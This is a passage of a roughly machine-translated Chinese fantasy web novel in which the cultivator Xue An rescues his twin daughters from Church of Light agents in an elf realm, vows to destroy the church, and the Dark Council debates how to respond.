    The **** light that was too thick to dissolve formed a huge fist, and then greeted these rushing sword lights.


    Ding Ding Ding.


    After a faint sound.


    The sword light gradually disappeared.


    The blood fist was unscathed.


    This second-generation blood race showed a smug smile, and was about to say something.


    suddenly.


    A fist blasted directly from behind.


    He was shocked and wanted to avoid it.


    But at this moment, a faint voice rang in his ears.


    "Move... Heaven and Earth!"


    boom!


    He couldn''t dodge This punch pierced directly in the back, and then rushed out from the chest.


    The second generation of blood clan roared, looked down at the fist that suddenly appeared, and then said angrily: "Human, blood ancestors have returned, we will come back to this world soon, and then, you will definitely pay the price!"


    Xue An said coldly: "Noisy!"


    At this time, Wilson''s entire body was like sand in the wind, gradually dissipating and becoming nothingness.


    So far, all the blood races on the Blood Mountain were slaughtered by Xue An alone.


    London.


    Gary and Alonso followed the faint breath to the outside of the farm.


    Alonso crouched in the grass and surveyed, then stood up, patted his hands lightly, and said with a subtle expression.


    "Here are the traces left by the collision of two forces of nature."


    "Oh? So, have other forces fought against the night elves?"


    "should be!"


    "In Europe, the only ones who can possess the power of nature, except for the elves, are the dark druids! Did the people of the Dark Council intervene in this matter?" Gary frowned.


    Alonso chuckled, "The night elves are getting weaker now, and naturally there are many people who want to take a bite! No matter what, you should find the entrance to the elves as soon as possible!"


    Gary nodded, closed his eyes and felt for a moment, and pointed to the big tree.


    "This should be the entrance!"


    Alonso''s eyes lit up, "Okay, find the entrance, then the rest will be easy!"


    As he said, Alonso chanted softly: "God said, all glory belongs to me!"


    A group of lightsabers exuding holy brilliance appeared in his hands, and then suddenly fell.


    Click!


    The big tree was chopped in half.


    What was cut open together was the road leading to the elves secret realm.

 Chapter 396： On behalf of the moon to punish you

    Elf Secret Realm.


    Xue Xiangxue Nian and Isabella are playing hide and seek in the forest.


    This time it was Isabella''s turn to catch.


    "Bella, you are not allowed to open your eyes and take a peek!" Nian Nian said in a humble voice.


    After playing hide-and-seek for a long time, she was caught the most times, so she told her specifically.


    Isabella smiled and nodded, "Okay! I''m definitely not peeking!"


    "Start!"


    Isabella closed her eyes, first silently counted fifty, then opened her eyes, and after patrolling around, a smile appeared at the corner of her mouth.


    "Oh, where did you hide this time?" Isabella said as she walked deep into the jungle.


    She waited until she reached a bush, and then she stopped and said with a smile, "Niannian, I have already seen you, can''t I come out?"


    The grass did not move.


    On the contrary, a figure flashed in a tree hole next to him, and then Xue Nian pouted out of it, and said depressedly: "Why? Why am I the first to get caught every time?"


    This time it was Isabella''s turn to be surprised.


    "Oh, I was wrong. I thought you were hiding in the bushes. Who thought you would come out if you scam you!"


    Xue Nian was even more sad when she heard Isabella''s words, and her fleshy buns wrinkled together.


    "Bad silver, you are all bad silver, I didn''t expect the elves to deceive people!"


    Isabella couldn''t laugh or cry, "I didn''t mean to lie to you, I just shouted casually, and you came out by yourself! It''s not bad for me!"


    "Huh!" Xue Nian turned away, and stopped speaking in anger.


    "Strange, think about where did you hide?" Isabella looked around, trying to find out where Xue Xiang was hiding.


    But compared to Xue Nian''s innocence, Xue Xiangke looks like a little adult, even playing games is more wins than loses!


    Isabella looked around and found nothing. She couldn''t help but said helplessly: "Okay, I give up, think about you, come out soon!"


    As soon as the voice fell, Xue Xiang''s grinning voice came from the tree.


    "Two fools, I am here!"


    Isabella and Xue Nian looked up and saw Xue Xiang standing at the top of a big tree, looking at herself with a smug face.


    "Wow, my sister is amazing! She actually hid in a tree." Xue Nian sighed.


    Isabella was even more dumbfounded, looking at such a tall tree, she couldn''t help asking: "How did you get up?"


    Xue Xiang stood on the tree and smiled triumphantly: "It''s very simple, these trees are very obedient!"


    With that, the big tree extended a branch to support Xue Xiang, and slowly sent her to the ground.


    "Huh, you can actually control the trees?" Isabella was a little surprised.


    "Yeah! I learned it yesterday!" Xue Xiang smiled, very proud.


    Xue Nian''s envious saliva was about to flow out, "Sister, how did you do it, can you teach me?"


    "It''s very simple, just mute to these trees in silence!"


    Upon hearing the words, Xue Nian immediately closed his eyes and meditated on a big tree, and then said bitterly, "Sister, why is it useless!"


    Xue Xiang was also a little surprised, "How is it possible, it''s very simple, what are you talking about?"


    "I said I want to eat ice cream, let Big Tree Brother change it for me!" Xue Nian said with blinking eyes.


    Xue wanted to cover his eyes and stomped his feet with anger, "Silly, how could the tree make you ice cream?"


    "Oh!" Xue Nian lowered his head in thought for a moment, then raised his head excitedly, "Is that hamburger OK?"


    Xue thought: "..."


    Isabella: "..."


    Just when the three of them were playing.


    Above them, a dark cyclone suddenly appeared.


    Gary and Alonso, and their men all walked out of it.


    Gary looked condescendingly at the three little girls standing on the ground, a smug and greedy smile appeared at the corners of his mouth.


    "What a wonderful place, you can see such three beautiful little girls as soon as you come in!"


    "Who are you? Why are you suddenly here!" Isabella''s face sank, she shielded Xue Xiang and Xue Nian behind her, and shouted coldly.


    "We..." Gary said with a holy light on his face, "It''s the messenger of light for you!"


    After feeling the breath of light, Isabella''s face changed drastically, "It''s the bad guy in the church, go!"


    With that, Isabella was like a bird with a bow, holding Xue Xiang in one hand and Xue Nian in the other, and ran towards the mother tree.


    With a sad smile on his face, Gary sighed softly: "Here is heresy. We are the people who serve God, so we are bad guys!"


    Alonso had already been unable to restrain himself at this moment, his greedy eyes had never left Xue Xiang and Xue Nian.


    Wen Yan said with a grinning smile: "Gary, these two are not elves, but humans, and they are twins! What a surprise! These two belong to me!"


    Gary nodded.


    Alonso rushed over with a grinning grin, passed over the three people in the rush, and then landed on the ground, blocking his way.


    "Little girl, just behave with your hands, uncle won''t hurt you!"


    Alonso thought he laughed charitably.


    But in the eyes of the three little girls, this man''s smile was simply disgusting and wretched.


    Xue thought that this little girl had always pointed her teeth and sipped her mouth: "Bah, you are not an uncle, you are a big bad guy!"


    Xue Nian was honest and honest and didn''t know how to curse. He could only nod his head repeatedly, "Sister is right!"


    "Hey, scold me, the more I scold, the more excited I become!" Alonso smiled abnormally and waved his hand.


    A few cross rays of light went straight to the three.


    This was the trick that tied Isabella back in the first place, but now it is deployed in Alonso''s hands and it is even more powerful.


    Isabella screamed, and dozens of vines stretched out, trying to resist.


    But helplessly, her strength was too weak, she was not Alonso''s opponent at all The vines turned into ashes in an instant before the light cross.


    Just when Alonso consciously had the chance to win.


    Xue Xiang and Xue Nian pulled out the pan that father gave them together, and shouted, "Beautiful girl transforms!"


    Alonso, Gary and others laughed at it, thinking it was just two little girls'' idiots.


    Unexpectedly, the pan would grow in the wind, and it instantly became a huge Aoki pan.


    Then it was a shot with the cross rays of light coming.


    boom!


    The cross light was beaten out in Alonso''s stunned mouth.


    Xue Xiang and Xue Nian raised their pots in their hands and raised their small faces very proudly, "Big villain, today our two sisters will punish you on behalf of the moon! Ultraman attack!"


    boom!


    The pan flew out abruptly, heading straight to Alonso with a powerful aura.


    Alonso trembled all over, and quickly ducked to avoid the blow.


    But before he was proud, the pan returned and patted Alonso''s back directly from behind.


    Haha.


    Alonso was shot to the ground.


    Then the pan slammed down with the sound of wind and thunder.


    Alonso yelled in fright, "God said, immortal by faith!"


    Boom, a white light curtain can block the pan.


    But before he could catch his breath, Xue Nian also raised his hand, "Ultraman, go and beat the villain!"


    The pot rushed over in an instant, directly smashing the light curtain.


    boom.


    The two pots were photographed together.


    After a violent shock wave, looking at the ground, there was only a human-shaped crater.


    "Sister, is the villain dead?" Xue Nian asked.


    "I don''t know!" Xue Xiang shook his head.


    At this moment, Alonso was seen rushing out from the ground, full of anger, "I want to kill you!"

 Chapter 397： Hallows·Light Old Testament

    "Sister, this big villain is not dead!" Xue Nian shouted.


    "No need to shout, I saw it! Since it''s not dead, let''s do it again!" Xue Xiang''s small face was cold and frosty, pointing to the pan.


    "Ultraman, kill this villain!"


    The pan rose again and went straight to Alonso in mid-air.


    Alonso is now on the verge of rampaging.


    He was actually beaten by two little girls.


    If this spreads out, what kind of face do you have in the Knights of Light?


    The only way to save the reputation now is to kill all these little girls.


    So Alonso took a step and chanted: "God says, redeem by returning!"


    A holy white light enveloped him, turning into a whole set of light armor.


    At this time the pan had also rushed, Alonso snorted coldly, and stepped forward, actually resisting the blow.


    boom!


    The armor on Alonso''s body flickered slightly, and the menacing pan was shot out.


    At the same time, a long sword of light appeared in Alonso''s hand, and said with a grinning smile: "Success!"


    As he said, the long sword crashed down.


    The three little girls closed their eyes in fright.


    At this moment, thick vines suddenly appeared, firmly guarding the three little girls.


    The long sword of the holy light slashed on it. Although it had cut off countless vines, the vines were like flowing water, endless, dying and resurrecting, and soon blocked this menacing sword.


    Then the figure of the elven goddess Cloris gradually emerged, "As a knight of light, but you have such a cruel hand on a few children, has your church of light fallen to this point?"


    Cloris'' voice was full of anger and a trace of fear.


    The reason why she arrived now was because Gary and Alonso used the church secret method to cover their breath when they came in, thus perfectly deceiving Cloris.


    It wasn''t until Xue Xiang and Xue Nian were in a dangerous situation just now that they aroused the guardianship of the goddess of nature, and Cloris realized that something was wrong and rushed over.


    In her opinion, if she comes a little later, the three little girls might have trouble.


    But what Cloris didn''t know was that thinking and Nian Nian had various guardian spells cast by Xue An on her body. If Alonso''s sword cut a few centimeters down, these guardianships would be triggered.


    At that time, let alone Alonso, even the chief referee of the Church of Illumination will be there, and he will have to eat and walk.


    At this time, Gary and everyone from the church had also come to Alonso.


    The group looked at Cloris with greedy eyes.


    "A false god, and there is also the breath of a Nordic godhead, hahaha, this time I made a lot of money!" Alonso couldn''t help but be overjoyed.


    For people in the Church of Light, they can capture or destroy a false **** is the greatest credit.


    It can even reinstate Alonso''s direct official who has committed many mistakes and re-emerge as the deputy commander of the Knights of Light.


    Cloris frowned, "People of the Church of Illumination, my people have always kept self-sacrifice and are neutral. You have been oppressed for so many years. Do you really think my elves are easy to bully?"


    Following Cloris''s voice, countless vines undulated behind him, and even the trees in the entire forest stretched out sharp branches, aimed at Alonso and others.


    At this time, the elves who felt the goddess''s anger also rushed to the scene.


    Seeing so many beautiful night elves appeared, Gary and Alonso smiled at each other.


    Then Gary said indifferently: "A false god, you pretend to be a god, this is your greatest original sin. As for your people, if they are willing to surrender, they may be atonement!"


    "Bah, we don''t even recognize the so-called gods in your mouth, light pests, get out quickly, otherwise we will make you look good!" Ephro shouted furiously.


    At this time, his cultivation base had been restored, which was when his confidence was bursting.


    Gary smiled and respectfully took out a parchment book from his arms.


    As soon as the book appeared, Cloris screamed, "Guangming Old Testament Reprint! How can you have such a thing?"


    Gary chuckled and did not speak, but was about to turn the book.


    At this time, Ephro couldn''t hold back anymore, and a javelin made of natural power appeared in his hand, and then threw it suddenly.


    Cloris also knew the situation was not good.


    If only a red archbishop and a knight of light, then she is not afraid.


    But now this cardinal bishop actually has a copy of the Bright Old Testament in his hand. Although it is a copy, it is also a sacred instrument!


    Cloris gritted his teeth, "Natural barrier!"


    The endless green power enveloped a radius of more than ten miles.


    As the **** of this secret realm, she has absolute control over everything here, and her relentless shot this time is naturally amazing.


    All the elves felt a shock, and their entire body''s cultivation base had been increased several times.


    The natural javelin thrown by Ivero has grown dozens of times bigger, and the momentum is extremely shocking.


    But as soon as he rushed closer, he saw Alonso swing a sword.


    Click.


    The long sword of the holy light and the natural javelin broke together.


    Evro shouted, "Let''s do it together!"


    All the elves have used their only ultimate move.


    Alonso snorted coldly, and the light armor on his body was radiant actually blocked these attacks with his own power, and firmly protected Gary behind him.


    At this time, Gary had already opened the first page, his face was full of holy radiance, and he said lightly: "God said, there must be light!"


    boom!


    As he chanted, endless rays of light fell from the sky, and the entire elven secret realm began to vibrate.


    The forest that had just returned to life quickly withered under the baptism of this light.


    Many elves felt that they were all tied up, very uncomfortable.


    Cloris looked extremely ugly.


    The other party broke her natural barrier with just one sentence.


    This strength has exceeded her imagination, but the matter has reached this point, and she can''t wait to die, so she coldly hummed: "All things return to nature!"


    Under the white light, the green, which was retreating steadily, suddenly shook, and then began to fight back.


    The light of Cloris''s body became stronger and stronger.


    This is that she is fighting the divine power of light at the cost of burning divine power.


    But at this moment, Gary turned to the second page and said lightly: "The mighty power is like prison!"


    boom!


    The endless white light suddenly enveloped everyone, and then turned into a cage, trapping everyone in it.


    Cloris is no exception. The cage that trapped her is the purest light power, and it directly cuts off her contact with the outside world.


    No matter how powerful the gods are, if they leave the outside world they depend on for survival, they will also become weak.


    The light of Cloris began to recede rapidly, and in the end only a young woman with a panic expression remained.


    Many elves were also trapped in their own cages, unable to resist.


    Alonso laughed triumphantly, "Okay! Lord Gary is really amazing!"


    Gary smiled slightly, "Everything is the glory of God!"

 Chapter 398： Guardian of the Ancient Sacred Beast

    Gary is also in a good mood.


    When he came out this time, he deliberately brought the treasured bright old covenant with him.


    Of course, this is not the real Old Testament.


    The true Old Testament and the Crown of Light and the Holy Sword of Light are known as the three divine artifacts, and they are all controlled by the popes.


    The Old Testament in his hand was re-enacted by ancient sages, and a total of three copies were re-enacted.


    Although it is not the true Old Testament, it can be regarded as a powerful sacred instrument.


    Unexpectedly, it was actually used, and so many night elves were captured at once.


    But the most important thing is this false god.


    As long as you give up this god, you will receive more rewards from the adults, and you may even enter the core of the church in the future.


    Thinking of this, Gary''s heart couldn''t help but become hot.


    But at this moment, I heard a little girl''s painful cry from below.


    Several people looked down and saw Xue Nian holding one of his fingers, tears in his painful eyes.


    Isabella, Yuna and others all shouted anxiously: "Niannian, are you okay!"


    Xue Nian shook his head and said with tears in his eyes: "I just touched these white lights and cut my finger! These people are simply badass!"


    Xue Nian''s words made Gary smile slightly as he was about to clean up the results.


    At this moment, an extremely vast and powerful momentum suddenly appeared from Xue Nian.


    Under this momentum, the white light that trapped her was like ice and snow under the scorching sun, rapidly melting, and even the surrounding white light was swept away under this powerful momentum.


    The eyes of Gary, Alonso and others almost didn''t come out.


    "How is it possible, why is there such a strong momentum?" Alonso exclaimed.


    But this is just the beginning.


    A huge Kunpeng virtual image suddenly appeared behind Xue Nian.


    Although it is only a virtual image, it still has an extremely powerful aura.


    Seemingly inspired by this breath, Xue Xiang, who looked blank, also fluctuated behind him, and then a virtual image of a Suzaku appeared.


    Gary and Alonso looked silly.


    Although they don''t know what kind of beast this is, the powerful aura can''t be faked!


    But this is still just the beginning.


    Virtual images began to emerge one by one.


    Qinglong, Qilin, Xuanwu, Baihu, Pixiu, Baize, Phoenix, Bi Fang, Gouchen...


    This extremely powerful ancient sacred beast appeared majestic in the sky, and in the end it even covered the entire sky.


    The powerful and unparalleled momentum caused the entire Elf Secret Realm to begin to shake, and even showed signs of collapse.


    Gary and Alonso were pale and trembling.


    Because in front of this kind of power of heaven and earth, they appear so small.


    Cloris also looked at it dumbfounded, and then suddenly smiled bitterly.


    She got it.


    This is because Xue An is worried about her daughter''s safety, so she sets a guardian circle for them.


    But this guardian array is a bit too outrageous.


    It is simply to display all the ancient holy beasts!


    At this moment, Xue wanted to react, pointing to Gary, Alonso and others, "They are all big baddies!"


    With Xue Xiang''s order.


    These powerful sacred beast imaginary images all leaned down, looking at Gary and the others like an ant.


    Endless attacks fell like flowing water.


    The blue dragon **** flame, the phoenix fire, the power of basalt, the killing of the white tiger...


    Although these are not really holy beasts, their power is still amazing.


    The church members who followed Gary didn''t even have time to hum, they were directly annihilated by these attacks as nothingness.


    Alonso persisted for a little longer, but after a breath, the light armor on his body also broke.


    He was so scared that he screamed, "Master Gary! Help me!"


    Gary gritted his teeth and held the Old Testament of Light over his head, "God is like a sea!"


    Endless white light blooms from the bright Old Testament.


    After all, these holy beasts are just virtual images, not entities.


    Therefore, under Gary''s move inspired by the burning of the saints, he was hit into nothingness one after another.


    After a sudden burst of white light, these holy beasts disintegrated and dissipated.


    And the one that disappeared together was the bright old covenant.


    Gary''s distressed blood is dripping, but there are only three sacred objects in the entire Bright Church.


    This is a big loss!


    Alonso took a breath, looked at Xue Xiang, Xue Nian and others with lingering fears, and then grinned.


    "Hehe, so many of us have actually been killed, you will all become slaves, and you will have to atone for your sins to death!"


    Many elves looked miserable.


    Cloris tried hard to gather the forces of nature.


    But the blow of Gary just now had wiped out all the forces of nature within a radius of more than a dozen miles, and now all the forces around him were the forces of light.


    This made her extremely weak.


    "Clean up these two little girls who didn''t know where they came out!" Gary ordered with a lingering fear.


    Alonso nodded, "I know, it''s up to me!"


    With that, he went straight to Xue Xiang and Xue Nian.


    The two little girls screamed.


    But at this moment, a voice full of murderous intent came from the sky.


    "Who is it that dare to bully my daughter?"


    Everyone was shocked and looked up.


    Seeing a streamer flying quickly, it happened to rush to Alonso.


    The speed is so fast that Alonso in the air hasn''t even reacted There is even excitement and a hideous smile on his face.


    The streamer stopped, and then a fist with supreme anger hit the face of Alonso who rushed directly.


    Alonso''s head bloomed like fireworks.


    Then is his body.


    I saw his body as if it had been crushed by something, breaking apart inch by inch, blood spilling over the sky.


    Punch.


    Alonso, the former deputy head of the Knights of Light, was directly crushed.


    At this time, everyone saw that standing in the air was a man with a murderous expression on his face.


    When they saw this man, Xue Xiang and Xue Nian cheered.


    "father!"


    "Dad, you finally came to save us!"


    That''s right, Xue An is here.


    At this moment, Xue An''s heart was full of monstrous anger.


    He had just slaughtered the Blood Mountain and was about to return to Country S, when he suddenly felt a strong heart palpitations.


    Then I felt that the guardian circle he had laid on the two daughters had been triggered.


    This made him shocked, it must be the two daughters in danger.


    He immediately intends to return to the elven secret realm through the mark given to him by Cloris.


    But I didn''t expect Cloris to be trapped by the light, so the mark actually expired.


    Xue An furiously burned his cultivation base, stepped across thousands of kilometers, and returned directly to the farm outside London before breaking in.


    When he saw his two daughters were safe and sound, his heart relaxed slightly.


    Then is the anger and killing intent that is enough to burn the heavens.


    Xue Anxiu has only one principle for three thousand years.


    If you dare to hurt Anyan and your two daughters, whether you are the Supreme One of the Ten Thousand Realms or the Nine Heavens God and Buddha, you will kill them!


    And the Bright Church finally provokes someone they shouldn��t provoke!

 Chapter 399： Bright Church, there is no need for it

    Xue An first lowered his head and smiled softly at his two daughters, "My dear daughter, wait until Dad eliminates all these villains!"


    "Yeah! Dad, these big bad guys are really hateful, they cut my fingers!" Xue Nian stretched out his finger aggrieved and began to complain.


    Although the small wound had healed now, Xue An still felt distressed.


    "Niannian don''t be afraid, Dad will avenge you now!"


    Having said that, Xue An turned to look at Gary standing alone in the air, his eyes full of killing intent.


    "The Church of Light?"


    Gary trembled all over, looked at Xue An in horror, and said with a trembling: "You...you dare to kill the Light Knight? Lord Paladin will not let you go!"


    Alonso''s death is what scared Gary the most.


    After all, the Lord Paladin is the one who protects the shortcomings the most. If he knows that Alonso is dead, he will definitely anger him.


    Xue An smiled when he heard the words, "Paladin? No, it will be gone soon! It''s you, you must die today!"


    Gary was taken aback for a moment, and then he appeared frightened, "Do you know who you are talking to? I''m the cardinal of the diocese of Y..."


    Before the words fell, Xue An disappeared, and appeared in front of Gary in the next second, and said lightly: "There will be no cardinals anymore, because even the church you are in...will no longer exist!"


    After all, a white flame emerged.


    Gary trembled all over and shouted in disbelief, "Bright Divine Flame, how can you have this Divine Flame?"


    Xue An said indifferently: "The **** you worship will put gold on your face. How can this **** flame be named after his god?"


    "Who are you?" Gary yelled in horror.


    "Destroy the people of your Bright Church!" Xue An said lightly, and with a wave of his hand, the white flame covered Gary.


    Gary in the flame let out a few screams, and then he was burned into nothingness.


    At this point, all members of the Bright Church who invaded the elven realm died.


    Xue An fell to the ground, and could not wait to pick up the two daughters. After checking it carefully, he found that he was not injured, so he was relieved.


    At this time, Cloris came over and bent over with a shame on his face and said, "My lord, I didn''t take care of the two little girls. Please punish you!"


    Seeing the mother **** said this, all the elves knelt down together, "My lord, it is our carelessness, please punish you!"


    Xue Xiang said, "Dad, these big bad guys are all to blame, don''t blame Mother God Sister and them too!"


    Xue Nian also said: "Yes, my sister is right!"


    Xue An smiled and said to Cloris with an apologetic face: "Get up, you can''t blame you for this thing, you can only blame the people of the Bright Church!"


    Hearing Xue An''s words, Cloris straightened up.


    "Dad, where''s mom?" Xue Xiang asked.


    Xue An smiled, "I noticed something happened here, so I rushed over immediately. Your mother is slower than me, so wait a while to get there!"


    Just as he was talking, An Yan was carrying a pan in his hand, and appeared aggressively in the Elf Secret Realm.


    "Who, who would dare to hurt my daughter?" An Yan, who has always been gentle, is also like a cat whose tail has been stepped on at this moment, completely blown up, and his face is murderous.


    "Mom, the bad guys have been wiped out by Dad!" Xue Xiang and Xue Nian hurriedly jumped out of Xue An''s arms, and then rushed over.


    An Yan knelt down and hugged her two daughters tightly, still in shock.


    She was also frightened just now.


    Xue An was suddenly furious and told An Yan that something might happen to the two daughters. He had to take a step first and disappeared into the sky after speaking.


    When An Yan heard these words, her heart was about to explode, and the people who followed immediately rushed back!


    With her strength, it is not enough to return to London so soon.


    Fortunately, with the help of the two blood races, Serena and Quintina, it was enough to come back.


    Although An Yan is full of brainless confidence in Xue An, she still feels overwhelmed along the way.


    Now that the father and daughter are all safe and sound, I feel relieved.


    At this time, Xue An waved his hand to disperse the power of light that filled the entire fairy realm.


    The forces of nature returned, and the withered trees began to grow again.


    Everyone returned to the Elf Mother Tree.


    Cloris once again formally apologized, and Xue An shook his head, "I said that this matter has nothing to do with you, and the fault lies with the Church of Illumination!"


    Bright Church!


    An Yan gritted her teeth with hatred when she heard these words.


    And Cloris said: "My lord, what are you going to do?"


    "What else can I do? If people don''t offend me, I don''t offend people. If people offend me, I will kill people! There is no need for this bright church!" Xue An said lightly.


    His words caused an uproar.


    Many elves looked at each other.


    In fact, they had just heard what Xue An said to Gary, but these elves thought that it was just Xue An just saying it casually.


    Unexpectedly, Xue An actually came to real.


    But is this possible?


    After all, the other party is a bright church that has been glorious for thousands of years!


    But An Yan, who has always been good-tempered, could not help but nodded at this moment: "Husband I agree! These guys are so evil, it''s time to clean them up!"


    And Cloris''s eyes lit up.


    If Xue An can really eradicate the Church of Light, the night elves will have much better life.


    And this kind of thing that concerns one''s own personal interests, how can one sit back and enjoy it?


    Thinking of this, she bowed, "Clauris is willing to fight with the adults!"


    Seeing his mother **** like this, all the elves also bowed together, "I wish to fight with the adults!"


    Xue An smiled lightly.


    At this time, Elder Luna said again: "My lord, you are a master of cultivation, but the other party is a huge power that has ruled Europe for thousands of years. Therefore, you alone may not be able to grasp it. It is worse than we release the news. Can attract people with the same hatred!"


    Xue An was noncommittal, but nodded slightly, "Okay! Then you will be responsible for this matter!"


    "Yes!"


    Soon, news spread across Europe.


    The red archbishop of the diocese of y and the former deputy head of the Knights of Light have all fallen.


    The murderer, so is Xue An!


    This news was shocking enough.


    But the news that came right after that was truly jaw-dropping.


    Xue An stated that he would completely eradicate the Bright Church.


    This can be regarded as stabbing a hornet''s nest.


    The whole Europe was violently shaken by this incident.


    It is true that the Church of Illumination has become increasingly unpopular over the years, and it is no different from the heyday of the Middle Ages.


    But a lean camel is bigger than a horse.


    The Dark Council also has blood races, and none of these huge forces that have been passed down for thousands of years have eliminated the Church of Light.


    Xue An, who is going to single out such a huge world-class organization?


    How is this possible?

 Chapter 400： Dark Council

    European town.


    After this period of hard practice, Fan Mengxue made great progress.


    Now even some advanced black witchcraft can be used.


    Such a speed of progress made Anastasia amazed.


    Genius really is unreasonable.


    Anastasia was sighing, the space was suddenly slightly disturbed, and then a letter paper exuding black air appeared in her hand.


    Anastasia was taken aback for a moment.


    This is an urgent letter used by the Dark Council only after something extremely urgent has happened.


    Is something wrong?


    Anastasia opened the letter and looked at her, her face changed greatly.


    It was clearly written on the letterhead.


    The red bishop of the diocese of y, Gary, and Alonso Qiqi, the former deputy head of the Knights of Light, fell into the hands of Xue An.


    At the same time Xue An also let out a word to destroy the Bright Church.


    These major events made Anastasia, who was accustomed to seeing all kinds of big winds and waves, couldn''t help but change her face.


    "Master, has something happened?" Fan Mengxue noticed Anastasia''s unusualness and couldn''t help asking.


    Anastasia frowned slightly, and then solemnly said: "Take care of your business, and now follow me back to the Dark Council!"


    Fan Mengxue was stunned. She didn''t know what happened, but seeing Anastasia''s expression also guessed that something was wrong, she couldn''t help but nod.


    "Yes!"


    Fan Mengxue''s previous film has won all the awards that can be won.


    Then Fan Mengxue turned down all the invitations, claiming to the public that he was going to rest for a while.


    And Han Yao has already returned home because of some trivial matters.


    Therefore, Fan Mengxue is now a idler, so he quickly handled everything.


    Before leaving, Fan Mengxue finally couldn''t help but curiously asked: "Master, what happened?"


    Anastasia hesitated a little, and then told Fan Mengxue what had happened.


    Fan Mengxue''s face gradually paled after listening.


    "The Bright Church...is it great?"


    Anastasia nodded, "Very powerful! Our dark council has fought with them for thousands of years, and we have been at a disadvantage most of the time."


    Fan Mengxue''s eyes gradually turned red, "Then...what should I do? Why is he so stupid, single-handedly challenging such a huge force!"


    Although Fan Mengxue knew that Xue An was not an ordinary person, he was also very powerful.


    But this time the opponent is the top power that has ruled Europe for thousands of years, which is not comparable to other cats and dogs!


    "No, I''m going to find him!" Fan Mengxue made up her mind to leave.


    Anastasia frowned, "Can you solve any problems with him?"


    "I can����."


    Anastasia interrupted Fan Mengxue''s words and said lightly: "With your current dark magic, any deacon in purple can defeat you, and it won''t help if you go!"


    "Then what to do?" Fan Mengxue''s tears flowed out anxiously.


    Anastasia said indifferently: "Let''s go back to the council with me first. This is such a big trouble. If Xue An really wants to take action against the Church of Light, the Council of Darkness can''t stand by!"


    The Dark Parliament is located in the mountains of eastern Europe.


    There is no road for humans to pass through, and even if you use an airplane to look down from the sky, you will not see the slightest trace.


    Unless you use black magic or other dark magic, you can''t enter here at all.


    After falling down, Fan Mengxue took the witch robe that Anastasia gave her, put it on, and walked inside behind him.


    After bypassing a mountain beam, a dark castle suddenly appeared in the distance. The gate of the castle opened, and there seemed to be someone patrolling the gate.


    After approaching, Fan Mengxue was horrified to discover that the soldiers standing guard and patrolling were actually all skeletons.


    After seeing Anastasia, the leading skeleton even bends down very politely, and said in a shriveled voice: "Master Witch, you are back!"


    Oh my god, I can still talk. Fan Mengxue''s eyes widened in surprise.


    Anastasia said with no surprise, "Are the other adults coming back?"


    "All have come back, waiting for you inside!"


    Anastasia nodded, and led Fan Mengxue into it.


    As he walked in, Anastasia whispered softly: "That is the skeleton demon soldier. It was made by a very annoying guy, and it was specially used to guard the gate of the council."


    "Tacia, I heard you talking about me behind your back here. This is not what a lady should do!" A voice came.


    Anastasia sneered when she heard the words, "Karthus, if you dare to call me a lady, believe it or not, I will take your bones apart."


    While talking, Anastasia led Fan Mengxue into a hall.


    The layout of this hall is very simple, with only an oval conference table in the middle.


    At this moment, there are a few people sitting around the table but these people are simply too challenging to imagine.


    Among them is a giant who is about three meters tall even when sitting, and his muscles are like carved out, full of explosive beauty.


    There is also a woman who seems to be covered with mosaics, and her face is completely unclear.


    But the most striking thing was the one who quarreled with Anastasia.


    This person is dressed in a western cowboy costume and a wide hat, but under the hat, it is in the shape of a skull.


    At this moment, the skeleton was drinking red wine for a long time.


    Fan Mengxue was very curious about how the red wine was drunk in his stomach.


    After seeing Anastasia coming in, everyone in the room nodded in greeting.


    Then he heard Karthus let out a dry laugh, "Now that the witch is back, our council can start! Hey, who is this?"


    Karthus became interested in Fan Mengxue.


    Anastasia said indifferently: "The apprentice I just received!"


    "Female apprentice? I have already smelled the fragrance of the woman, she must be a beautiful woman, right?" Karthus said with a smile.


    Anastasia said coldly: "Of course it''s a beauty, but you are already a skeleton, so you can only look at it?"


    "It doesn''t matter if you look at it, the beautiful body is always worth admiring! And your new apprentice, don''t you introduce everyone to know?" Karthus said with a smile.


    Anastasia nodded, "Mengxue, take off your hat."


    Fan Mengxue took off the hood of the robe and revealed her face.


    The room became quiet.


    After a while, I heard Karthus almost groaning: "God, isn''t this my favorite female star, Fan Mengxue?"

 Chapter 401： Necromancer

    Karthus has lived for thousands of years.


    He may also be the only Necromancer in the world.


    The remaining necromancers basically died in the Middle Ages.


    At that time, the Bright Church was at its peak, frantically suppressing and destroying all foreign gods and all kinds of heretics.


    Karthus is the only survivor.


    But even after so much, even the flesh has been enshrined to the **** of death.


    He is still full of interest in life.


    And the ability to accept new things is also very strong. Simply put, he will follow whatever is popular.


    In recent years, he has become obsessed with star chasing.


    By chance, he saw the God Killer starring Fan Mengxue. Fan Mengxue in this movie made Karthus a stunned man, and since then he has become a fan of Fan Mengxue.


    He even planned to go to China to find Fan Mengxue, but he did not expect to meet him here, and Fan Mengxue became the apprentice of the Dark Witch.


    Karthus stood up, walked up to Fan Mengxue who was stunned, and gave an elegant salute.


    "Dear Miss Fan, I like watching your movie the most. Can you sign me?"


    Fan Mengxue nodded blankly.


    "That''s great!"


    Karthus was very happy. He did not know where he took out a pen, handed it to Fan Mengxue, then took off his hat and bowed his head respectfully.


    "Please sign on top of my head!"


    Fan Mengxue glanced at her master in a panic, Anastasia shrugged and said it didn''t matter.


    Only then did Fan Mengxue gritted her teeth, trembling hands, and signed her name on the jade-like skull.


    "Okay... OK!" Fan Mengxue said with a trembling voice.


    Karthus stepped back a half step, held out his hand to lift his head, and the skull was taken off, then he looked at the signature on the top of his head and exclaimed.


    "It''s a beautiful font, but I should learn Chinese now!"


    "Okay, Karthus, stop your tricks, we should be on business!" Anastasia said in a deep voice.


    Hearing what she said, Karthus set his head again, and then sighed: "If you say who is the most popular in the past two years, it must be Mr. Xue from China!"


    "I have counted all the things he has done during this period of time. Everything is amazing, but I still didn''t expect that he was so bold that he dared to kill a cardinal and a bright Knight, and let out a word to eradicate the Church of Light!"


    The mosaic-covered woman said in a vague voice: "The key is not this, but how our dark council should treat this matter!"


    "Nightmare, what kind of attitude do you want to hold?" the Titan muttered.


    The woman called the nightmare is the banshee who was once a household name in Europe.


    After hearing what the Titan said, Nightmare said: "If this Mr. Xue really has the strength to deal with the Church of Illumination, we will naturally help him, but if he just speaks big things, then we rashly act, it will cause us great Loss!"


    "Yes, I think so too, and I think the probability of this Xue An''s success is very low. After all, no matter how powerful he is, the other party is a huge organization. How can he deal with it by himself? Now?" Titan nodded and said.


    But at this moment, Fan Mengxue suddenly said: "I believe he really wants to eradicate the Bright Church!"


